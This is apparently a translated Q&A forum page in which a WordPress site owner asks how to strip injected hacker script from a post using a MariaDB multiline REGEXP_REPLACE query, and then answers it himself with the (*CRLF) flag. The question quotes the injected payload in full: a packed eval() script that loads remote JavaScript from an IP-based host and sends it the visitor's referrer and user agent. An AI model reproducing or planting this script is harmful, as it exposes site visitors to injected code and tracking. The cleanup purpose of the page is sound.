AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / dba / Perguntas / 234774
Accepted
NealWalters
NealWalters
Asked: 2019-04-15 11:06:17 +0800 CST2019-04-15 11:06:17 +0800 CST 2019-04-15 11:06:17 +0800 CST

RegEx multilinha MariaDB

  • 772

Estou executando uma consulta SQL no MariaDB no PHPMyAdmin da seguinte forma:

select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318

Estou tentando remover algum script de hacker de um post do WordPress, tudo entre a tag inicial noindex e a tag final noindex, mas a tag final noindex está na segunda linha. Primeiro, quero testar o RegEx com uma consulta e depois executar uma atualização. Não consigo fazê-lo funcionar a menos que limite as alterações a uma linha.

A coluna post_content é definida como LongText.

I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...

O mesmo regex funciona bem no NotePad++ quando eu verifico a opção "Multiline".

Eu olhei para um download do banco de dados no meu disco rígido local para determinar o que realmente está lá - não tenho certeza se isso adiciona algo ou não:

insira a descrição da imagem aqui Eu estava pensando que talvez PHP-MyAdmin ou WordPress estivessem usando
ou de alguma forma escondendo o valor real. Mas acho que mesmo no backupdownload/eles representam a nova linha como \n como um valor literal em vez de hexadecimal.

Se eu copiar o valor de texto longo do PhpMyAdmin para o NotePad++ e ativar os símbolos de exibição, fica assim: insira a descrição da imagem aqui É por isso que acho que o retorno de carro/alimentação de linha é realmente armazenado no valor da coluna de texto longo.

Versão: 10.1.38-MariaDB

mariadb-10.1
  • 1 1 respostas
  • 485 Views

1 respostas

  • Voted
  1. Best Answer
    NealWalters
    2019-04-15T12:50:01+08:002019-04-15T12:50:01+08:00

    Apenas por tentativa e erro e persistência, encontrei uma solução após cerca de 2,5 horas:

    select REGEXP_REPLACE(post_content,'(*CRLF)<noindex>.*</noindex>','') from wp_posts where ID = 318
    

    Se alguém pudesse explicar por que as soluções acima na minha pergunta não funcionaram, isso ainda seria apreciado.

    Referência a (*CRLF) nesta página: https://mariadb.com/kb/en/library/pcre/#multiline-matching

    • 0

relate perguntas

  • WARN max_connections do pt-variable-advisor - o que configurar para DBaaS?

  • O plug-in de auditoria MariaDB registra todas as consultas em vez de apenas DML

  • Erro de cluster MariaDB 10.1 Galera

  • Como é que o site é lento aleatório? Processos de sono abertos?

  • ERRO! O MySQL está em execução, mas o arquivo PID não foi encontrado - MariaDB 10.1 - CentOS 7 - Fresh VM

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host

    • 12 respostas
  • Marko Smith

    Como fazer a saída do sqlplus aparecer em uma linha?

    • 3 respostas
  • Marko Smith

    Selecione qual tem data máxima ou data mais recente

    • 3 respostas
  • Marko Smith

    Como faço para listar todos os esquemas no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Listar todas as colunas de uma tabela especificada

    • 5 respostas
  • Marko Smith

    Como usar o sqlplus para se conectar a um banco de dados Oracle localizado em outro host sem modificar meu próprio tnsnames.ora

    • 4 respostas
  • Marko Smith

    Como você mysqldump tabela (s) específica (s)?

    • 4 respostas
  • Marko Smith

    Listar os privilégios do banco de dados usando o psql

    • 10 respostas
  • Marko Smith

    Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL?

    • 4 respostas
  • Marko Smith

    Como faço para listar todos os bancos de dados e tabelas usando o psql?

    • 7 respostas
  • Martin Hope
    Jin conectar ao servidor PostgreSQL: FATAL: nenhuma entrada pg_hba.conf para o host 2014-12-02 02:54:58 +0800 CST
  • Martin Hope
    Stéphane Como faço para listar todos os esquemas no PostgreSQL? 2013-04-16 11:19:16 +0800 CST
  • Martin Hope
    Mike Walsh Por que o log de transações continua crescendo ou fica sem espaço? 2012-12-05 18:11:22 +0800 CST
  • Martin Hope
    Stephane Rolland Listar todas as colunas de uma tabela especificada 2012-08-14 04:44:44 +0800 CST
  • Martin Hope
    haxney O MySQL pode realizar consultas razoavelmente em bilhões de linhas? 2012-07-03 11:36:13 +0800 CST
  • Martin Hope
    qazwsx Como posso monitorar o andamento de uma importação de um arquivo .sql grande? 2012-05-03 08:54:41 +0800 CST
  • Martin Hope
    markdorison Como você mysqldump tabela (s) específica (s)? 2011-12-17 12:39:37 +0800 CST
  • Martin Hope
    Jonas Como posso cronometrar consultas SQL usando psql? 2011-06-04 02:22:54 +0800 CST
  • Martin Hope
    Jonas Como inserir valores em uma tabela de uma consulta de seleção no PostgreSQL? 2011-05-28 00:33:05 +0800 CST
  • Martin Hope
    Jonas Como faço para listar todos os bancos de dados e tabelas usando o psql? 2011-02-18 00:45:49 +0800 CST

Hot tag

sql-server mysql postgresql sql-server-2014 sql-server-2016 oracle sql-server-2008 database-design query-performance sql-server-2017

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve